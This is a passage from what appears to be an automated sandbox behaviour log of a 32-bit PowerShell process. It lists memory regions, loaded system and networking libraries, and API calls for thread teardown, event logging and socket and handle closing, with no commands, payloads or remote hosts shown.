"\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.P521220ea#\\f6f5592245815a51dae8c19cd5d04783\\Microsoft.PowerShell.Commands.Utility.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.p521220ea#\\f6f5592245815a51dae8c19cd5d04783\\microsoft.powershell.commands.utility.ni.dll") Region: id = 2317 start_va = 0x61060000 end_va = 0x61087fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.install.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Confe64a9051#\\1561b93d6d25c4a9c3e2659ab29a5e73\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.confe64a9051#\\1561b93d6d25c4a9c3e2659ab29a5e73\\system.configuration.install.ni.dll") Region: id = 2331 start_va = 0x2180000 end_va = 0x2187fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2332 start_va = 0x5a80000 end_va = 0x5abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a80000" filename = "" Region: id = 2333 start_va = 0x5c90000 end_va = 0x5ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c90000" filename = "" Region: id = 2334 start_va = 0x5d90000 end_va = 0x5d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d90000" filename = "" Region: id = 2335 start_va = 0x7ef8c000 end_va = 0x7ef8efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8c000" filename = "" Region: id = 2336 start_va = 0x5da0000 end_va = 0x619ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005da0000" filename = "" Region: id = 2337 start_va = 0x21d0000 end_va = 0x21d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2338 start_va = 0x5da0000 end_va = 0x619ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005da0000" filename = "" Region: id = 2343 start_va = 0x2180000 end_va = 0x218ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 2354 start_va = 0x21d0000 end_va = 0x21d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2355 start_va = 0x5da0000 end_va = 0x619ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005da0000" filename = "" Region: id = 2356 start_va = 0x4370000 end_va = 0x4377fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2357 start_va = 0x5da0000 end_va = 0x619ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005da0000" filename = "" Region: id = 2358 start_va = 0x48b0000 end_va = 0x48effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048b0000" filename = "" Region: id = 2359 start_va = 0x5a60000 end_va = 0x5a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a60000" filename = "" Region: id = 2360 start_va = 0x7ef8c000 end_va = 0x7ef8efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8c000" filename = "" Region: id = 2367 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 2374 start_va = 0x7ef30000 end_va = 0x7ef7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef30000" filename = "" Region: id = 2375 start_va = 0x7ef20000 end_va = 0x7ef2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef20000" filename = "" Region: id = 2378 start_va = 0x740a0000 end_va = 0x740aafff monitored = 0 entry_point = 0x740a1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 2379 start_va = 0x65f20000 end_va = 0x65f36fff monitored = 0 entry_point = 0x65f235fa region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 2382 start_va = 0x73c70000 end_va = 0x73cc1fff monitored = 0 entry_point = 0x73c714be region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll") Region: id = 2383 start_va = 0x73c50000 end_va = 0x73c64fff monitored = 0 entry_point = 0x73c512de region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll") Region: id = 2384 start_va = 0x73c40000 end_va = 0x73c4cfff monitored = 0 entry_point = 0x73c41326 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll") Region: id = 2385 start_va = 0x73df0000 end_va = 0x73e2bfff monitored = 0 entry_point = 0x73df145d region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 2386 start_va = 0x5c70000 end_va = 0x5d5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c70000" filename = "" Region: id = 2387 start_va = 0x73de0000 end_va = 0x73de4fff monitored = 0 entry_point = 0x73de15df region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 2388 start_va = 0x73d50000 end_va = 0x73d55fff monitored = 0 entry_point = 0x73d51673 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 2391 start_va = 0x4f80000 end_va = 0x4fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f80000" filename = "" Region: id = 2392 start_va = 0x5da0000 end_va = 0x5ddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005da0000" filename = "" Region: id = 2393 start_va = 0x5f730000 end_va = 0x5f787fff monitored = 0 entry_point = 0x5f7313b4 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 2394 start_va = 0x7ef8c000 end_va = 0x7ef8efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8c000" filename = "" Region: id = 2395 start_va = 0x5f6e0000 end_va = 0x5f72efff monitored = 0 entry_point = 0x5f6e1452 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\SysWOW64\\webio.dll" (normalized: "c:\\windows\\syswow64\\webio.dll") Region: id = 2396 start_va = 0x5f5e0000 end_va = 0x5f5e7fff monitored = 0 entry_point = 0x5f5e34d3 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\SysWOW64\\credssp.dll" (normalized: "c:\\windows\\syswow64\\credssp.dll") Region: id = 2397 start_va = 0x73e40000 end_va = 0x73e5bfff monitored = 0 entry_point = 0x73e4a431 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 2398 start_va = 0x74090000 end_va = 0x74096fff monitored = 0 entry_point = 0x7409128d region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 2399 start_va = 0x5f900000 end_va = 0x5f90cfff monitored = 0 entry_point = 0x5f902012 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll") Region: id = 2400 start_va = 0x5f6c0000 end_va = 0x5f6d1fff monitored = 0 entry_point = 0x5f6c3271 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll") Region: id = 2401 start_va = 0x5e10000 end_va = 0x5e4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e10000" filename = "" Region: id = 2402 start_va = 0x5e80000 end_va = 0x5ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 2403 start_va = 0x7ef86000 end_va = 0x7ef88fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 2410 start_va = 0x21d0000 end_va = 0x21d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.management.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1") Region: id = 2411 start_va = 0x5cc0000 end_va = 0x5cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005cc0000" filename = "" Region: id = 2412 start_va = 0x5d20000 end_va = 0x5d5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d20000" filename = "" Region: id = 2413 start_va = 0x5f70000 end_va = 0x5faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f70000" filename = "" Region: id = 2414 start_va = 0x7ef83000 end_va = 0x7ef85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef83000" filename = "" Region: id = 2415 start_va = 0x5fb0000 end_va = 0x63affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005fb0000" filename = "" Region: id = 2416 start_va = 0x4370000 end_va = 0x4370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.management.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1") Region: id = 2417 start_va = 0x5fb0000 end_va = 0x63affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005fb0000" filename = "" Region: id = 2422 start_va = 0x5e3e0000 end_va = 0x5e5b6fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.commands.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Pae3498d9#\\ade0afceac1317e3668a9c8086d8d18b\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.pae3498d9#\\ade0afceac1317e3668a9c8086d8d18b\\microsoft.powershell.commands.management.ni.dll") Region: id = 2433 start_va = 0x5ed0000 end_va = 0x5f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ed0000" filename = "" Region: id = 2434 start_va = 0x5f20000 end_va = 0x5f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f20000" filename = "" Region: id = 2435 start_va = 0x7ef83000 end_va = 0x7ef85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef83000" filename = "" Region: id = 2436 start_va = 0x739d0000 end_va = 0x73ac4fff monitored = 0 entry_point = 0x739e0d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 2437 start_va = 0x21d0000 end_va = 0x21d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000021d0000" filename = "" Region: id = 2438 start_va = 0x73ee0000 end_va = 0x7407dfff monitored = 0 entry_point = 0x73f0e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 2439 start_va = 0x4370000 end_va = 0x4370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 2440 start_va = 0x4380000 end_va = 0x4381fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004380000" filename = "" Region: id = 2441 start_va = 0x4370000 end_va = 0x4370fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004370000" filename = "" Region: id = 2442 start_va = 0x76530000 end_va = 0x765b2fff monitored = 0 entry_point = 0x765323d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2443 start_va = 0x43d0000 end_va = 0x43d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000043d0000" filename = "" Region: id = 2444 start_va = 0x73eb0000 end_va = 0x73ed0fff monitored = 0 entry_point = 0x73eb145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 2445 start_va = 0x77130000 end_va = 0x77174fff monitored = 0 entry_point = 0x771311e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 2446 start_va = 0x4420000 end_va = 0x4423fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 2447 start_va = 0x4430000 end_va = 0x4446fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000007.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000007.db") Region: id = 2448 start_va = 0x4450000 end_va = 0x4450fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004450000" filename = "" Region: id = 2452 start_va = 0x4420000 end_va = 0x4423fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2453 start_va = 0x48a0000 end_va = 0x48cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000e.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000e.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000e.db") Region: id = 2454 start_va = 0x4460000 end_va = 0x4463fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2455 start_va = 0x5a60000 end_va = 0x5ac5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 2456 start_va = 0x5f60000 end_va = 0x6060fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f60000" filename = "" Region: id = 2457 start_va = 0x76cb0000 end_va = 0x76e4cfff monitored = 0 entry_point = 0x76cb17e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 2458 start_va = 0x76240000 end_va = 0x76266fff monitored = 0 entry_point = 0x762458b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 2459 start_va = 0x773c0000 end_va = 0x773d1fff monitored = 0 entry_point = 0x773c1441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 2460 start_va = 0x44f0000 end_va = 0x44fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 2461 start_va = 0x5f60000 end_va = 0x6060fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f60000" filename = "" Region: id = 2462 start_va = 0x5f60000 end_va = 0x6060fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f60000" filename = "" Region: id = 2463 start_va = 0x5f60000 end_va = 0x6060fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f60000" filename = "" Region: id = 2464 start_va = 0x5f60000 end_va = 0x6060fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f60000" filename = "" Region: id = 2465 start_va = 0x5f60000 end_va = 0x6060fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f60000" filename = "" Region: id = 2466 start_va = 0x5f60000 end_va = 0x6060fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f60000" filename = "" Region: id = 2467 start_va = 0x5f60000 end_va = 0x6060fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f60000" filename = "" Region: id = 2468 start_va = 0x5f60000 end_va = 0x6060fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f60000" filename = "" Region: id = 2469 start_va = 0x5f60000 end_va = 0x6060fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f60000" filename = "" Region: id = 2470 start_va = 0x5f60000 end_va = 0x6060fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f60000" filename = "" Region: id = 2471 start_va = 0x5f60000 end_va = 0x6060fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f60000" filename = "" Region: id = 2472 start_va = 0x60a0000 end_va = 0x60dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000060a0000" filename = "" Region: id = 2473 start_va = 0x6110000 end_va = 0x614ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006110000" filename = "" Region: id = 2474 start_va = 0x7ef80000 end_va = 0x7ef82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef80000" filename = "" Region: id = 2475 start_va = 0x73b00000 end_va = 0x73b4bfff monitored = 0 entry_point = 0x73b02c14 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 2476 start_va = 0x75280000 end_va = 0x752adfff monitored = 0 entry_point = 0x75281bba region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\SysWOW64\\shdocvw.dll" (normalized: "c:\\windows\\syswow64\\shdocvw.dll") Region: id = 2477 start_va = 0x48d0000 end_va = 0x48ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 2478 start_va = 0x5f60000 end_va = 0x605ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f60000" filename = "" Region: id = 2479 start_va = 0x75470000 end_va = 0x755a5fff monitored = 0 entry_point = 0x75471b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 2480 start_va = 0x765c0000 end_va = 0x766b4fff monitored = 0 entry_point = 0x765c1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 2481 start_va = 0x76e50000 end_va = 0x7704afff monitored = 0 entry_point = 0x76e522d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 2482 start_va = 0x48e0000 end_va = 0x48e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000048e0000" filename = "" Region: id = 2540 start_va = 0x49b0000 end_va = 0x49bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049b0000" filename = "" Thread: id = 31 os_tid = 0xef8 [0198.341] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5f4 [0198.341] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x5f8 [0198.341] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5e8 [0198.341] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5fc [0198.342] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x604 [0198.342] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x64c [0198.342] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x618 [0198.343] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x65c [0198.343] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x660 [0198.343] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x664 [0198.343] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x668 [0198.344] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x66c [0198.344] SetEvent (hEvent=0x5fc) returned 1 [0198.344] SetEvent (hEvent=0x5f4) returned 1 [0198.344] SetEvent (hEvent=0x5f8) returned 1 [0198.344] SetEvent (hEvent=0x5e8) returned 1 [0198.344] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x670 [0198.344] SetEvent (hEvent=0x360) returned 1 [0198.361] SetEvent (hEvent=0x604) returned 1 [0198.361] SetEvent (hEvent=0x64c) returned 1 [0198.361] SetEvent (hEvent=0x618) returned 1 [0198.397] CoCreateGuid (in: pguid=0xde0f8 | out: pguid=0xde0f8*(Data1=0x149fff39, Data2=0x6323, Data3=0x4e89, Data4=([0]=0xb6, [1]=0x16, [2]=0xe5, [3]=0x6c, [4]=0x79, [5]=0x16, [6]=0x86, [7]=0x97))) returned 0x0 [0198.603] ReportEventW (hEventLog=0x4470004, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2600dd0*="Stopped", lpRawData=0x2600cf8) returned 1 [0198.712] SetEvent (hEvent=0x360) returned 1 [0198.976] CloseHandle (hObject=0x360) returned 1 [0199.116] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0199.153] CoGetContextToken (in: pToken=0xdf7bc | out: pToken=0xdf7bc) returned 0x0 [0199.153] CObjectContext::QueryInterface () returned 0x0 [0199.153] CObjectContext::GetCurrentThreadType () returned 0x0 [0199.154] Release () returned 0x0 [0199.154] CoGetContextToken (in: pToken=0xdf4cc | out: pToken=0xdf4cc) returned 0x0 [0199.154] CObjectContext::QueryInterface () returned 0x0 [0199.155] CObjectContext::GetCurrentThreadType () returned 0x0 [0199.155] Release () returned 0x0 [0199.159] CoGetContextToken (in: pToken=0xdf4cc | out: pToken=0xdf4cc) returned 0x0 [0199.160] CObjectContext::QueryInterface () returned 0x0 [0199.160] CObjectContext::GetCurrentThreadType () returned 0x0 [0199.160] Release () returned 0x0 [0199.224] CoGetContextToken (in: pToken=0xdf4cc | out: pToken=0xdf4cc) returned 0x0 [0199.224] CObjectContext::QueryInterface () returned 0x0 [0199.224] CObjectContext::GetCurrentThreadType () returned 0x0 [0199.224] Release () returned 0x0 [0199.366] CoGetContextToken (in: pToken=0xdf4ec | out: pToken=0xdf4ec) returned 0x0 [0199.366] CObjectContext::QueryInterface () returned 0x0 [0199.366] CObjectContext::GetCurrentThreadType () returned 0x0 [0199.366] Release () returned 0x0 [0199.367] CoUninitialize () Thread: id = 34 os_tid = 0xf20 Thread: id = 35 os_tid = 0xf24 [0172.701] RegCloseKey (hKey=0x35c) returned 0x0 [0189.289] CloseHandle (hObject=0x258) returned 1 [0199.155] EtwEventUnregister () returned 0x0 [0199.155] EtwEventUnregister () returned 0x0 [0199.155] EtwEventUnregister () returned 0x0 [0199.156] EtwEventUnregister () returned 0x0 [0199.156] EtwEventUnregister () returned 0x0 [0199.156] EtwEventUnregister () returned 0x0 [0199.156] EtwEventUnregister () returned 0x0 [0199.156] EtwEventUnregister () returned 0x0 [0199.156] EtwEventUnregister () returned 0x0 [0199.168] EtwEventUnregister () returned 0x0 [0199.174] CloseHandle (hObject=0x2d0) returned 1 [0199.176] CloseHandle (hObject=0x290) returned 1 [0199.176] CloseHandle (hObject=0x294) returned 1 [0199.176] CloseHandle (hObject=0x298) returned 1 [0199.177] CloseHandle (hObject=0x64c) returned 1 [0199.177] CloseHandle (hObject=0x604) returned 1 [0199.177] CloseHandle (hObject=0x500) returned 1 [0199.178] CloseHandle (hObject=0x5fc) returned 1 [0199.179] setsockopt (s=0x4f4, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0199.179] closesocket (s=0x4f4) returned 0 [0199.180] CloseHandle (hObject=0x4f8) returned 1 [0199.180] CloseHandle (hObject=0x414) returned 1 [0199.181] setsockopt (s=0x4ec, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0199.181] closesocket (s=0x4ec) returned 0 [0199.182] CloseHandle (hObject=0x4f0) returned 1 [0199.182] CloseHandle (hObject=0x358) returned 1 [0199.183] CloseHandle (hObject=0x354) returned 1 [0199.183] CloseHandle (hObject=0x350) returned 1 [0199.184] CloseHandle (hObject=0x34c) returned 1 [0199.184] CloseHandle (hObject=0x348) returned 1 [0199.184] CloseHandle (hObject=0x324) returned 1 [0199.185] CloseHandle (hObject=0x340) returned 1 [0199.185] CloseHandle (hObject=0x2bc) returned 1 [0199.186] CloseHandle (hObject=0x2b8) returned 1 [0199.186] CloseHandle (hObject=0x2b0) returned 1 [0199.187] CloseHandle (hObject=0x2cc) returned 1 [0199.188] CloseHandle (hObject=0x2c8) returned 1 [0199.189] CloseHandle (hObject=0x19c) returned 1 [0199.189] CloseHandle (hObject=0x5e8) returned 1 [0199.190] CloseHandle (hObject=0x5f8) returned 1 [0199.191] CloseHandle (hObject=0x3e4) returned 1 [0199.191] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0199.192] CloseHandle (hObject=0x410) returned 1 [0199.192] CloseHandle (hObject=0x40c) returned 1 [0199.193] CloseHandle (hObject=0x408) returned 1 [0199.194] LocalFree (hMem=0x3c6c28) returned 0x0 [0199.194] CloseHandle (hObject=0x404) returned 1 [0199.195] CloseHandle (hObject=0x25c) returned 1 [0199.195] 